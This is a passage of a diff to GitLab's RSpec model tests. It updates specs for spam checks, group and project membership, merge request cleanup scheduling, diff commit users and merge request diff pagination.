+ true | Gitlab::VisibilityLevel::PRIVATE | true | { weight: 3 } | false
end
with_them do
- it 'checks for spam on issues that can be seen anonymously' do
+ it 'checks for spam when necessary' do
+ author = support_bot? ? support_bot : user
project = reusable_project
project.update!(visibility_level: visibility_level)
- issue = create(:issue, project: project, confidential: confidential, description: 'original description')
+ issue = create(:issue, project: project, confidential: confidential, description: 'original description', author: author)
issue.assign_attributes(new_attributes)
diff --git a/spec/models/label_note_spec.rb b/spec/models/label_note_spec.rb
index 0bf202ce2b1..ee4822c653d 100644
--- a/spec/models/label_note_spec.rb
+++ b/spec/models/label_note_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe LabelNote do
let_it_be(:user) { create(:user) }
let_it_be(:label) { create(:label, project: project) }
let_it_be(:label2) { create(:label, project: project) }
+
let(:resource_parent) { project }
context 'when resource is issue' do
diff --git a/spec/models/lfs_file_lock_spec.rb b/spec/models/lfs_file_lock_spec.rb
index d3f79c7c7cf..5afad6c184f 100644
--- a/spec/models/lfs_file_lock_spec.rb
+++ b/spec/models/lfs_file_lock_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe LfsFileLock do
let_it_be(:lfs_file_lock, reload: true) { create(:lfs_file_lock) }
+
subject { lfs_file_lock }
it { is_expected.to belong_to(:project) }
diff --git a/spec/models/member_spec.rb b/spec/models/member_spec.rb
index 372fc40afcc..5824c2085ce 100644
--- a/spec/models/member_spec.rb
+++ b/spec/models/member_spec.rb
@@ -30,6 +30,7 @@ RSpec.describe Member do
context "when an invite email is provided" do
let_it_be(:project) { create(:project) }
+
let(:member) { build(:project_member, source: project, invite_email: "user@example.com", user: nil) }
it "doesn't require a user" do
@@ -98,6 +99,7 @@ RSpec.describe Member do
context 'project bots' do
let_it_be(:project_bot) { create(:user, :project_bot) }
+
let(:new_member) { build(:project_member, user_id: project_bot.id) }
context 'not a member of any group or project' do
@@ -476,6 +478,20 @@ RSpec.describe Member do
it { is_expected.to include @blocked_maintainer }
it { is_expected.to include @blocked_developer }
it { is_expected.to include @member_with_minimal_access }
+
+ context 'with where conditions' do
+ let_it_be(:example_member) { create(:group_member, invite_email: 'user@example.com') }
+
+ subject do
+ described_class
+ .default_scoped
+ .where(invite_email: 'user@example.com')
+ .distinct_on_user_with_max_access_level
+ .to_a
+ end
+
+ it { is_expected.to eq [example_member] }
+ end
end
end
@@ -494,282 +510,6 @@ RSpec.describe Member do
end
end
- describe '.add_user' do
- %w[project group].each do |source_type|
- context "when source is a #{source_type}" do
- let_it_be(:source, reload: true) { create(source_type, :public) }
- let_it_be(:user) { create(:user) }
- let_it_be(:admin) { create(:admin) }
-
- it 'returns a <Source>Member object' do
- member = described_class.add_user(source, user, :maintainer)
-
- expect(member).to be_a "#{source_type.classify}Member".constantize
- expect(member).to be_persisted
- end
-
- context 'when admin mode is enabled', :enable_admin_mode do
- it 'sets members.created_by to the given admin current_user' do
- member = described_class.add_user(source, user, :maintainer, current_user: admin)
-
- expect(member.created_by).to eq(admin)
- end
- end
-
- context 'when admin mode is disabled' do
- it 'rejects setting members.created_by to the given admin current_user' do
- member = described_class.add_user(source, user, :maintainer, current_user: admin)
-
- expect(member.created_by).to be_nil
- end
- end
-
- it 'sets members.expires_at to the given expires_at' do
- member = described_class.add_user(source, user, :maintainer, expires_at: Date.new(2016, 9, 22))
-
- expect(member.expires_at).to eq(Date.new(2016, 9, 22))
- end
-
- described_class.access_levels.each do |sym_key, int_access_level|
- it "accepts the :#{sym_key} symbol as access level" do
- expect(source.users).not_to include(user)
-
- member = described_class.add_user(source, user.id, sym_key)
-
- expect(member.access_level).to eq(int_access_level)
- expect(source.users.reload).to include(user)
- end
-
- it "accepts the #{int_access_level} integer as access level" do
- expect(source.users).not_to include(user)
-
- member = described_class.add_user(source, user.id, int_access_level)
-
- expect(member.access_level).to eq(int_access_level)
- expect(source.users.reload).to include(user)
- end
- end
-
- context 'with no current_user' do
- context 'when called with a known user id' do
- it 'adds the user as a member' do
- expect(source.users).not_to include(user)
-
- described_class.add_user(source, user.id, :maintainer)
-
- expect(source.users.reload).to include(user)
- end
- end
-
- context 'when called with an unknown user id' do
- it 'adds the user as a member' do
- expect(source.users).not_to include(user)
-
- described_class.add_user(source, non_existing_record_id, :maintainer)
-
- expect(source.users.reload).not_to include(user)
- end
- end
-
- context 'when called with a user object' do
- it 'adds the user as a member' do
- expect(source.users).not_to include(user)
-
- described_class.add_user(source, user, :maintainer)
-
- expect(source.users.reload).to include(user)
- end
- end
-
- context 'when called with a requester user object' do
- before do
- source.request_access(user)
- end
-
- it 'adds the requester as a member' do
- expect(source.users).not_to include(user)
- expect(source.requesters.exists?(user_id: user)).to be_truthy
-
- expect { described_class.add_user(source, user, :maintainer) }
- .to raise_error(Gitlab::Access::AccessDeniedError)
-
- expect(source.users.reload).not_to include(user)
- expect(source.requesters.reload.exists?(user_id: user)).to be_truthy
- end
- end
-
- context 'when called with a known user email' do
- it 'adds the user as a member' do
- expect(source.users).not_to include(user)
-
- described_class.add_user(source, user.email, :maintainer)
-
- expect(source.users.reload).to include(user)
- end
- end
-
- context 'when called with a known user secondary email' do
- let(:secondary_email) { create(:email, email: 'secondary@example.com', user: user) }
-
- it 'adds the user as a member' do
- expect(source.users).not_to include(user)
-
- described_class.add_user(source, secondary_email.email, :maintainer)
-
- expect(source.users.reload).to include(user)
- end
- end
-
- context 'when called with an unknown user email' do
- it 'creates an invited member' do
- expect(source.users).not_to include(user)
-
- described_class.add_user(source, 'user@example.com', :maintainer)
-
- expect(source.members.invite.pluck(:invite_email)).to include('user@example.com')
- end
- end
-
- context 'when called with an unknown user email starting with a number' do
- it 'creates an invited member', :aggregate_failures do
- email_starting_with_number = "#{user.id}_email@example.com"
-
- described_class.add_user(source, email_starting_with_number, :maintainer)
-
- expect(source.members.invite.pluck(:invite_email)).to include(email_starting_with_number)
- expect(source.users.reload).not_to include(user)
- end
- end
- end
-
- context 'when current_user can update member', :enable_admin_mode do
- it 'creates the member' do
- expect(source.users).not_to include(user)
-
- described_class.add_user(source, user, :maintainer, current_user: admin)
-
- expect(source.users.reload).to include(user)
- end
-
- context 'when called with a requester user object' do
- before do
- source.request_access(user)
- end
-
- it 'adds the requester as a member' do
- expect(source.users).not_to include(user)
- expect(source.requesters.exists?(user_id: user)).to be_truthy
-
- described_class.add_user(source, user, :maintainer, current_user: admin)
-
- expect(source.users.reload).to include(user)
- expect(source.requesters.reload.exists?(user_id: user)).to be_falsy
- end
- end
- end
-
- context 'when current_user cannot update member' do
- it 'does not create the member' do
- expect(source.users).not_to include(user)
-
- member = described_class.add_user(source, user, :maintainer, current_user: user)
-
- expect(source.users.reload).not_to include(user)
- expect(member).not_to be_persisted
- end
-
- context 'when called with a requester user object' do
- before do
- source.request_access(user)
- end
-
- it 'does not destroy the requester' do
- expect(source.users).not_to include(user)
- expect(source.requesters.exists?(user_id: user)).to be_truthy
-
- described_class.add_user(source, user, :maintainer, current_user: user)
-
- expect(source.users.reload).not_to include(user)
- expect(source.requesters.exists?(user_id: user)).to be_truthy
- end
- end
- end
-
- context 'when member already exists' do
- before do
- source.add_user(user, :developer)
- end
-
- context 'with no current_user' do
- it 'updates the member' do
- expect(source.users).to include(user)
-
- described_class.add_user(source, user, :maintainer)
-
- expect(source.members.find_by(user_id: user).access_level).to eq(Gitlab::Access::MAINTAINER)
- end
- end
-
- context 'when current_user can update member', :enable_admin_mode do
- it 'updates the member' do
- expect(source.users).to include(user)
-
- described_class.add_user(source, user, :maintainer, current_user: admin)
-
- expect(source.members.find_by(user_id: user).access_level).to eq(Gitlab::Access::MAINTAINER)
- end
- end
-
- context 'when current_user cannot update member' do
- it 'does not update the member' do
- expect(source.users).to include(user)
-
- described_class.add_user(source, user, :maintainer, current_user: user)
-
- expect(source.members.find_by(user_id: user).access_level).to eq(Gitlab::Access::DEVELOPER)
- end
- end
- end
- end
- end
- end
-
- describe '.add_users' do
- %w[project group].each do |source_type|
- context "when source is a #{source_type}" do
- let_it_be(:source) { create(source_type, :public) }
- let_it_be(:admin) { create(:admin) }
- let_it_be(:user1) { create(:user) }
- let_it_be(:user2) { create(:user) }
-
- it 'returns a <Source>Member objects' do
- members = described_class.add_users(source, [user1, user2], :maintainer)
-
- expect(members).to be_a Array
- expect(members.size).to eq(2)
- expect(members.first).to be_a "#{source_type.classify}Member".constantize
- expect(members.first).to be_persisted
- end
-
- it 'returns an empty array' do
- members = described_class.add_users(source, [], :maintainer)
-
- expect(members).to be_a Array
- expect(members).to be_empty
- end
-
- it 'supports differents formats' do
- list = ['joe@local.test', admin, user1.id, user2.id.to_s]
-
- members = described_class.add_users(source, list, :maintainer)
-
- expect(members.size).to eq(4)
- expect(members.first).to be_invite
- end
- end
- end
- end
-
describe '#accept_request' do
let(:member) { create(:project_member, requested_at: Time.current.utc) }
@@ -966,7 +706,8 @@ RSpec.describe Member do
end
context 'when after_commit :update_highest_role' do
- let!(:user) { create(:user) }
+ let_it_be(:user) { create(:user) }
+
let(:user_id) { user.id }
where(:member_type, :source_type) do
@@ -1001,7 +742,7 @@ RSpec.describe Member do
end
describe 'destroy member' do
- subject { member.destroy! }
+ subject { member.reload.destroy! }
include_examples 'update highest role with exclusive lease'
end
diff --git a/spec/models/members/group_member_spec.rb b/spec/models/members/group_member_spec.rb
index 8c942228059..472f4280d26 100644
--- a/spec/models/members/group_member_spec.rb
+++ b/spec/models/members/group_member_spec.rb
@@ -47,27 +47,6 @@ RSpec.describe GroupMember do
end
end
- describe '.access_levels' do
- it 'returns Gitlab::Access.options_with_owner' do
- expect(described_class.access_levels).to eq(Gitlab::Access.sym_options_with_owner)
- end
- end
-
- describe '.add_users' do
- it 'adds the given users to the given group' do
- group = create(:group)
- users = create_list(:user, 2)
-
- described_class.add_users(
- group,
- [users.first.id, users.second],
- described_class::MAINTAINER
- )
-
- expect(group.users).to include(users.first, users.second)
- end
- end
-
it_behaves_like 'members notifications', :group
describe '#namespace_id' do
diff --git a/spec/models/members/project_member_spec.rb b/spec/models/members/project_member_spec.rb
index b84b408cb4b..4c59bda856f 100644
--- a/spec/models/members/project_member_spec.rb
+++ b/spec/models/members/project_member_spec.rb
@@ -23,19 +23,6 @@ RSpec.describe ProjectMember do
end
end
- describe '.add_user' do
- it 'adds the user as a member' do
- user = create(:user)
- project = create(:project)
-
- expect(project.users).not_to include(user)
-
- described_class.add_user(project, user, :maintainer, current_user: project.owner)
-
- expect(project.users.reload).to include(user)
- end
- end
-
describe '#real_source_type' do
subject { create(:project_member).real_source_type }
diff --git a/spec/models/merge_request/cleanup_schedule_spec.rb b/spec/models/merge_request/cleanup_schedule_spec.rb
index 925d287088b..85208f901fd 100644
--- a/spec/models/merge_request/cleanup_schedule_spec.rb
+++ b/spec/models/merge_request/cleanup_schedule_spec.rb
@@ -11,22 +11,125 @@ RSpec.describe MergeRequest::CleanupSchedule do
it { is_expected.to validate_presence_of(:scheduled_at) }
end
- describe '.scheduled_merge_request_ids' do
- let_it_be(:mr_cleanup_schedule_1) { create(:merge_request_cleanup_schedule, scheduled_at: 2.days.ago) }
- let_it_be(:mr_cleanup_schedule_2) { create(:merge_request_cleanup_schedule, scheduled_at: 1.day.ago) }
- let_it_be(:mr_cleanup_schedule_3) { create(:merge_request_cleanup_schedule, scheduled_at: 1.day.ago, completed_at: Time.current) }
- let_it_be(:mr_cleanup_schedule_4) { create(:merge_request_cleanup_schedule, scheduled_at: 4.days.ago) }
- let_it_be(:mr_cleanup_schedule_5) { create(:merge_request_cleanup_schedule, scheduled_at: 3.days.ago) }
- let_it_be(:mr_cleanup_schedule_6) { create(:merge_request_cleanup_schedule, scheduled_at: 1.day.from_now) }
- let_it_be(:mr_cleanup_schedule_7) { create(:merge_request_cleanup_schedule, scheduled_at: 5.days.ago) }
-
- it 'only includes incomplete schedule within the specified limit' do
- expect(described_class.scheduled_merge_request_ids(4)).to eq([
- mr_cleanup_schedule_2.merge_request_id,
- mr_cleanup_schedule_1.merge_request_id,
- mr_cleanup_schedule_5.merge_request_id,
- mr_cleanup_schedule_4.merge_request_id
+ describe 'state machine transitions' do
+ let(:cleanup_schedule) { create(:merge_request_cleanup_schedule) }
+
+ it 'sets status to unstarted by default' do
+ expect(cleanup_schedule).to be_unstarted
+ end
+
+ describe '#run' do
+ it 'sets the status to running' do
+ cleanup_schedule.run
+
+ expect(cleanup_schedule.reload).to be_running
+ end
+
+ context 'when previous status is not unstarted' do
+ let(:cleanup_schedule) { create(:merge_request_cleanup_schedule, :running) }
+
+ it 'does not change status' do
+ expect { cleanup_schedule.run }.not_to change(cleanup_schedule, :status)
+ end
+ end
+ end
+
+ describe '#retry' do
+ let(:cleanup_schedule) { create(:merge_request_cleanup_schedule, :running) }
+
+ it 'sets the status to unstarted' do
+ cleanup_schedule.retry
+
+ expect(cleanup_schedule.reload).to be_unstarted
+ end
+
+ it 'increments failed_count' do
+ expect { cleanup_schedule.retry }.to change(cleanup_schedule, :failed_count).by(1)
+ end
+
+ context 'when previous status is not running' do
+ let(:cleanup_schedule) { create(:merge_request_cleanup_schedule) }
+
+ it 'does not change status' do
+ expect { cleanup_schedule.retry }.not_to change(cleanup_schedule, :status)
+ end
+ end
+ end
+
+ describe '#complete' do
+ let(:cleanup_schedule) { create(:merge_request_cleanup_schedule, :running) }
+
+ it 'sets the status to completed' do
+ cleanup_schedule.complete
+
+ expect(cleanup_schedule.reload).to be_completed
+ end
+
+ it 'sets the completed_at' do
+ expect { cleanup_schedule.complete }.to change(cleanup_schedule, :completed_at)
+ end
+
+ context 'when previous status is not running' do
+ let(:cleanup_schedule) { create(:merge_request_cleanup_schedule, :completed) }
+
+ it 'does not change status' do
+ expect { cleanup_schedule.complete }.not_to change(cleanup_schedule, :status)
+ end
+ end
+ end
+
+ describe '#mark_as_failed' do
+ let(:cleanup_schedule) { create(:merge_request_cleanup_schedule, :running) }
+
+ it 'sets the status to failed' do
+ cleanup_schedule.mark_as_failed
+
+ expect(cleanup_schedule.reload).to be_failed
+ end
+
+ it 'increments failed_count' do
+ expect { cleanup_schedule.mark_as_failed }.to change(cleanup_schedule, :failed_count).by(1)
+ end
+
+ context 'when previous status is not running' do
+ let(:cleanup_schedule) { create(:merge_request_cleanup_schedule, :failed) }
+
+ it 'does not change status' do
+ expect { cleanup_schedule.mark_as_failed }.not_to change(cleanup_schedule, :status)
+ end
+ end
+ end
+ end
+
+ describe '.scheduled_and_unstarted' do
+ let!(:cleanup_schedule_1) { create(:merge_request_cleanup_schedule, scheduled_at: 2.days.ago) }
+ let!(:cleanup_schedule_2) { create(:merge_request_cleanup_schedule, scheduled_at: 1.day.ago) }
+ let!(:cleanup_schedule_3) { create(:merge_request_cleanup_schedule, :completed, scheduled_at: 1.day.ago) }
+ let!(:cleanup_schedule_4) { create(:merge_request_cleanup_schedule, scheduled_at: 4.days.ago) }
+ let!(:cleanup_schedule_5) { create(:merge_request_cleanup_schedule, scheduled_at: 3.days.ago) }
+ let!(:cleanup_schedule_6) { create(:merge_request_cleanup_schedule, scheduled_at: 1.day.from_now) }
+ let!(:cleanup_schedule_7) { create(:merge_request_cleanup_schedule, :failed, scheduled_at: 5.days.ago) }
+
+ it 'returns records that are scheduled before or on current time and unstarted (ordered by scheduled first)' do
+ expect(described_class.scheduled_and_unstarted).to eq([
+ cleanup_schedule_2,
+ cleanup_schedule_1,
+ cleanup_schedule_5,
+ cleanup_schedule_4
])
end
end
+
+ describe '.start_next' do
+ let!(:cleanup_schedule_1) { create(:merge_request_cleanup_schedule, :completed, scheduled_at: 1.day.ago) }
+ let!(:cleanup_schedule_2) { create(:merge_request_cleanup_schedule, scheduled_at: 2.days.ago) }
+ let!(:cleanup_schedule_3) { create(:merge_request_cleanup_schedule, :running, scheduled_at: 1.day.ago) }
+ let!(:cleanup_schedule_4) { create(:merge_request_cleanup_schedule, scheduled_at: 3.days.ago) }
+ let!(:cleanup_schedule_5) { create(:merge_request_cleanup_schedule, :failed, scheduled_at: 3.days.ago) }
+
+ it 'finds the next scheduled and unstarted then marked it as running' do
+ expect(described_class.start_next).to eq(cleanup_schedule_2)
+ expect(cleanup_schedule_2.reload).to be_running
+ end
+ end
end
diff --git a/spec/models/merge_request/diff_commit_user_spec.rb b/spec/models/merge_request/diff_commit_user_spec.rb
new file mode 100644
index 00000000000..08e073568f9
--- /dev/null
+++ b/spec/models/merge_request/diff_commit_user_spec.rb
@@ -0,0 +1,127 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequest::DiffCommitUser do
+ describe 'validations' do
+ it 'requires that names are less than 512 characters long' do
+ expect(described_class.new(name: 'a' * 1000)).not_to be_valid
+ end
+
+ it 'requires that Emails are less than 512 characters long' do
+ expect(described_class.new(email: 'a' * 1000)).not_to be_valid
+ end
+
+ it 'requires either a name or Email' do
+ expect(described_class.new).not_to be_valid
+ end
+
+ it 'allows setting of just a name' do
+ expect(described_class.new(name: 'Alice')).to be_valid
+ end
+
+ it 'allows setting of just an Email' do
+ expect(described_class.new(email: 'alice@example.com')).to be_valid
+ end
+
+ it 'allows setting of both a name and Email' do
+ expect(described_class.new(name: 'Alice', email: 'alice@example.com'))
+ .to be_valid
+ end
+ end
+
+ describe '.prepare' do
+ it 'trims a value to at most 512 characters' do
+ expect(described_class.prepare('€' * 1_000)).to eq('€' * 512)
+ end
+
+ it 'returns nil if the value is an empty string' do
+ expect(described_class.prepare('')).to be_nil
+ end
+ end
+
+ describe '.find_or_create' do
+ it 'creates a new row if none exist' do
+ alice = described_class.find_or_create('Alice', 'alice@example.com')
+
+ expect(alice.name).to eq('Alice')
+ expect(alice.email).to eq('alice@example.com')
+ end
+
+ it 'returns an existing row if one exists' do
+ user1 = create(:merge_request_diff_commit_user)
+ user2 = described_class.find_or_create(user1.name, user1.email)
+
+ expect(user1).to eq(user2)
+ end
+
+ it 'handles concurrent inserts' do
+ user = create(:merge_request_diff_commit_user)
+
+ expect(described_class)
+ .to receive(:find_or_create_by!)
+ .ordered
+ .with(name: user.name, email: user.email)
+ .and_raise(ActiveRecord::RecordNotUnique)
+
+ expect(described_class)
+ .to receive(:find_or_create_by!)
+ .ordered
+ .with(name: user.name, email: user.email)
+ .and_return(user)
+
+ expect(described_class.find_or_create(user.name, user.email)).to eq(user)
+ end
+ end
+
+ describe '.bulk_find_or_create' do
+ it 'bulk creates missing rows and reuses existing rows' do
+ bob = create(
+ :merge_request_diff_commit_user,
+ name: 'Bob',
+ email: 'bob@example.com'
+ )
+
+ users = described_class.bulk_find_or_create(
+ [%w[Alice alice@example.com], %w[Bob bob@example.com]]
+ )
+ alice = described_class.find_by(name: 'Alice')
+
+ expect(users[%w[Alice alice@example.com]]).to eq(alice)
+ expect(users[%w[Bob bob@example.com]]).to eq(bob)
+ end
+
+ it 'does not insert any data when all users exist' do
+ bob = create(
+ :merge_request_diff_commit_user,
+ name: 'Bob',
+ email: 'bob@example.com'
+ )
+
+ users = described_class.bulk_find_or_create([%w[Bob bob@example.com]])
+
+ expect(described_class).not_to receive(:insert_all)
+ expect(users[%w[Bob bob@example.com]]).to eq(bob)
+ end
+
+ it 'handles concurrently inserted rows' do
+ bob = create(
+ :merge_request_diff_commit_user,
+ name: 'Bob',
+ email: 'bob@example.com'
+ )
+
+ input = [%w[Bob bob@example.com]]
+
+ expect(described_class)
+ .to receive(:bulk_find)
+ .twice
+ .with(input)
+ .and_return([], [bob])
+
+ users = described_class.bulk_find_or_create(input)
+
+ expect(users[%w[Bob bob@example.com]]).to eq(bob)
+ end
+ end
+end
diff --git a/spec/models/merge_request_diff_commit_spec.rb b/spec/models/merge_request_diff_commit_spec.rb
index a24628b0f9d..6290468d4a7 100644
--- a/spec/models/merge_request_diff_commit_spec.rb
+++ b/spec/models/merge_request_diff_commit_spec.rb
@@ -16,6 +16,11 @@ RSpec.describe MergeRequestDiffCommit do
let(:invalid_items_for_bulk_insertion) { [] } # class does not have any validations defined
end
+ describe 'associations' do
+ it { is_expected.to belong_to(:commit_author) }
+ it { is_expected.to belong_to(:committer) }
+ end
+
describe '#to_hash' do
subject { merge_request.commits.first }
@@ -46,6 +51,8 @@ RSpec.describe MergeRequestDiffCommit do
"committed_date": "2014-02-27T10:01:38.000+01:00".to_time,
"committer_name": "Dmitriy Zaporozhets",
"committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author_id": an_instance_of(Integer),
+ "committer_id": an_instance_of(Integer),
"merge_request_diff_id": merge_request_diff_id,
"relative_order": 0,
"sha": Gitlab::Database::ShaAttribute.serialize("5937ac0a7beb003549fc5fd26fc247adbce4a52e"),
@@ -59,6 +66,8 @@ RSpec.describe MergeRequestDiffCommit do
"committed_date": "2014-02-27T09:57:31.000+01:00".to_time,
"committer_name": "Dmitriy Zaporozhets",
"committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author_id": an_instance_of(Integer),
+ "committer_id": an_instance_of(Integer),
"merge_request_diff_id": merge_request_diff_id,
"relative_order": 1,
"sha": Gitlab::Database::ShaAttribute.serialize("570e7b2abdd848b95f2f578043fc23bd6f6fd24d"),
@@ -76,6 +85,21 @@ RSpec.describe MergeRequestDiffCommit do
subject
end
+ it 'creates diff commit users' do
+ diff = create(:merge_request_diff, merge_request: merge_request)
+
+ described_class.create_bulk(diff.id, [commits.first])
+
+ commit_row = MergeRequestDiffCommit
+ .find_by(merge_request_diff_id: diff.id, relative_order: 0)
+
+ commit_user_row =
+ MergeRequest::DiffCommitUser.find_by(name: 'Dmitriy Zaporozhets')
+
+ expect(commit_row.commit_author).to eq(commit_user_row)
+ expect(commit_row.committer).to eq(commit_user_row)
+ end
+
context 'with dates larger than the DB limit' do
let(:commits) do
# This commit's date is "Sun Aug 17 07:12:55 292278994 +0000"
@@ -92,6 +116,8 @@ RSpec.describe MergeRequestDiffCommit do
"committed_date": timestamp,
"committer_name": "Alejandro Rodríguez",
"committer_email": "alejorro70@gmail.com",
+ "commit_author_id": an_instance_of(Integer),
+ "committer_id": an_instance_of(Integer),
"merge_request_diff_id": merge_request_diff_id,
"relative_order": 0,
"sha": Gitlab::Database::ShaAttribute.serialize("ba3343bc4fa403a8dfbfcab7fc1a8c29ee34bd69"),
@@ -107,4 +133,28 @@ RSpec.describe MergeRequestDiffCommit do
end
end
end
+
+ describe '.prepare_commits_for_bulk_insert' do
+ it 'returns the commit hashes and unique user tuples' do
+ commit = double(:commit, to_hash: {
+ parent_ids: %w[foo bar],
+ author_name: 'a' * 1000,
+ author_email: 'a' * 1000,
+ committer_name: 'Alice',
+ committer_email: 'alice@example.com'
+ })
+
+ hashes, tuples = described_class.prepare_commits_for_bulk_insert([commit])
+
+ expect(hashes).to eq([{
+ author_name: 'a' * 512,
+ author_email: 'a' * 512,
+ committer_name: 'Alice',
+ committer_email: 'alice@example.com'
+ }])
+
+ expect(tuples)
+ .to include(['a' * 512, 'a' * 512], %w[Alice alice@example.com])
+ end
+ end
end
diff --git a/spec/models/merge_request_diff_spec.rb b/spec/models/merge_request_diff_spec.rb
index 3741e01e99a..e0e25031589 100644
--- a/spec/models/merge_request_diff_spec.rb
+++ b/spec/models/merge_request_diff_spec.rb
@@ -9,10 +9,6 @@ RSpec.describe MergeRequestDiff do
let(:diff_with_commits) { create(:merge_request).merge_request_diff }
- before do
- stub_feature_flags(diffs_gradual_load: false)
- end
-
describe 'validations' do
subject { diff_with_commits }
@@ -115,6 +111,7 @@ RSpec.describe MergeRequestDiff do
let(:closed_recently) { recently_closed_mr.merge_request_diff }
let_it_be(:recently_merged_mr) { create(:merge_request, :merged) }
+
let(:merged_recently) { recently_merged_mr.merge_request_diff }
before do
@@ -436,9 +433,7 @@ RSpec.describe MergeRequestDiff do
it 'returns empty pagination data' do
diffs = diff_with_commits.diffs_in_batch(1, 10, diff_options: diff_options)
- expect(diffs.pagination_data).to eq(current_page: nil,
- next_page: nil,
- total_pages: nil)
+ expect(diffs.pagination_data).to eq(total_pages: nil)
end
end
@@ -460,19 +455,17 @@ RSpec.describe MergeRequestDiff do
context 'when persisted files available' do
it 'returns paginated diffs' do
- diffs = diff_with_commits.diffs_in_batch(1, 10, diff_options: diff_options)
+ diffs = diff_with_commits.diffs_in_batch(0, 10, diff_options: diff_options)
expect(diffs).to be_a(Gitlab::Diff::FileCollection::MergeRequestDiffBatch)
expect(diffs.diff_files.size).to eq(10)
- expect(diffs.pagination_data).to eq(current_page: 1,
- next_page: 2,
- total_pages: 2)
+ expect(diffs.pagination_data).to eq(total_pages: 20)
end
it 'sorts diff files directory first' do
diff_with_commits.update!(sorted: false) # Mark as unsorted so it'll re-order
- expect(diff_with_commits.diffs_in_batch(1, 10, diff_options: diff_options).diff_file_paths).to eq([
+ expect(diff_with_commits.diffs_in_batch(0, 10, diff_options: diff_options).diff_file_paths).to eq([
'bar/branch-test.txt',
'custom-highlighting/test.gitlab-custom',
'encoding/iso8859.txt',
@@ -491,43 +484,21 @@ RSpec.describe MergeRequestDiff do
{ ignore_whitespace_change: true }
end
- it 'returns a Gitlab::Diff::FileCollection::Compare with paginated diffs' do
+ it 'returns pagination data from MergeRequestDiffBatch' do
diffs = diff_with_commits.diffs_in_batch(1, 10, diff_options: diff_options)
+ file_count = diff_with_commits.merge_request_diff_files.count
expect(diffs).to be_a(Gitlab::Diff::FileCollection::Compare)
expect(diffs.diff_files.size).to eq 10
- expect(diffs.pagination_data).to eq(current_page: 1, next_page: 2, total_pages: 2)
+ expect(diffs.pagination_data).to eq(total_pages: file_count)
end
it 'returns an empty MergeRequestBatch with empty pagination data when the batch is empty' do
- diffs = diff_with_commits.diffs_in_batch(3, 10, diff_options: diff_options)
+ diffs = diff_with_commits.diffs_in_batch(30, 10, diff_options: diff_options)
expect(diffs).to be_a(Gitlab::Diff::FileCollection::MergeRequestDiffBatch)
expect(diffs.diff_files.size).to eq 0
- expect(diffs.pagination_data).to eq(current_page: nil, next_page: nil, total_pages: nil)
- end
-
- context 'with gradual load enabled' do
- before do
- stub_feature_flags(diffs_gradual_load: true)
- end
-
- it 'returns pagination data from MergeRequestDiffBatch' do
- diffs = diff_with_commits.diffs_in_batch(1, 10, diff_options: diff_options)
- file_count = diff_with_commits.merge_request_diff_files.count
-
- expect(diffs).to be_a(Gitlab::Diff::FileCollection::Compare)
- expect(diffs.diff_files.size).to eq 10
- expect(diffs.pagination_data).to eq(current_page: nil, next_page: nil, total_pages: file_count)
- end
-
- it 'returns an empty MergeRequestBatch with empty pagination data when the batch is empty' do
- diffs = diff_with_commits.diffs_in_batch(30, 10, diff_options: diff_options)
-
- expect(diffs).to be_a(Gitlab::Diff::FileCollection::MergeRequestDiffBatch)
- expect(diffs.diff_files.size).to eq 0
- expect(diffs.pagination_data).to eq(current_page: nil, next_page: nil, total_pages: nil)
- end
+ expect(diffs.pagination_data).to eq(total_pages: nil)
end
end
end
diff --git a/spec/models/merge_request_spec.rb b/spec/models/merge_request_spec.rb
index 73b1cb13f19..edd543854cb 100644
--- a/spec/models/merge_request_spec.rb
+++ b/spec/models/merge_request_spec.rb
@@ -441,6 +441,22 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
end
+ describe '.join_metrics' do
+ let_it_be(:join_condition) { '"merge_request_metrics"."target_project_id" = 1' }
+
+ context 'when a no target_project_id is available' do
+ it 'moves target_project_id condition to the merge request metrics' do
+ expect(described_class.join_metrics(1).to_sql).to include(join_condition)
+ end
+ end
+
+ context 'when a target_project_id is present in the where conditions' do
+ it 'moves target_project_id condition to the merge request metrics' do
+ expect(described_class.where(target_project_id: 1).join_metrics.to_sql).to include(join_condition)
+ end
+ end
+ end
+
describe '.by_related_commit_sha' do
subject { described_class.by_related_commit_sha(sha) }
@@ -779,7 +795,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
context 'when both internal and external issue trackers are enabled' do
before do
- create(:jira_service, project: subject.project)
+ create(:jira_integration, project: subject.project)
subject.project.reload
end
@@ -1310,7 +1326,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
subject.project.add_developer(subject.author)
commit = double(:commit, safe_message: 'Fixes TEST-3')
- create(:jira_service, project: subject.project)
+ create(:jira_integration, project: subject.project)
subject.project.reload
allow(subject).to receive(:commits).and_return([commit])
@@ -1898,7 +1914,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
context 'has ci' do
it 'returns true if MR has head_pipeline_id and commits' do
- allow(merge_request).to receive_message_chain(:source_project, :ci_service) { nil }
+ allow(merge_request).to receive_message_chain(:source_project, :ci_integration) { nil }
allow(merge_request).to receive(:head_pipeline_id) { double }
allow(merge_request).to receive(:has_no_commits?) { false }
@@ -1906,7 +1922,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
it 'returns true if MR has any pipeline and commits' do
- allow(merge_request).to receive_message_chain(:source_project, :ci_service) { nil }
+ allow(merge_request).to receive_message_chain(:source_project, :ci_integration) { nil }
allow(merge_request).to receive(:head_pipeline_id) { nil }
allow(merge_request).to receive(:has_no_commits?) { false }
allow(merge_request).to receive(:all_pipelines) { [double] }
@@ -1914,8 +1930,8 @@ RSpec.describe MergeRequest, factory_default: :keep do
expect(merge_request.has_ci?).to be(true)
end
- it 'returns true if MR has CI service and commits' do
- allow(merge_request).to receive_message_chain(:source_project, :ci_service) { double }
+ it 'returns true if MR has CI integration and commits' do
+ allow(merge_request).to receive_message_chain(:source_project, :ci_integration) { double }
allow(merge_request).to receive(:head_pipeline_id) { nil }
allow(merge_request).to receive(:has_no_commits?) { false }
allow(merge_request).to receive(:all_pipelines) { [] }
@@ -1925,8 +1941,8 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
context 'has no ci' do
- it 'returns false if MR has no CI service nor pipeline, and no commits' do
- allow(merge_request).to receive_message_chain(:source_project, :ci_service) { nil }
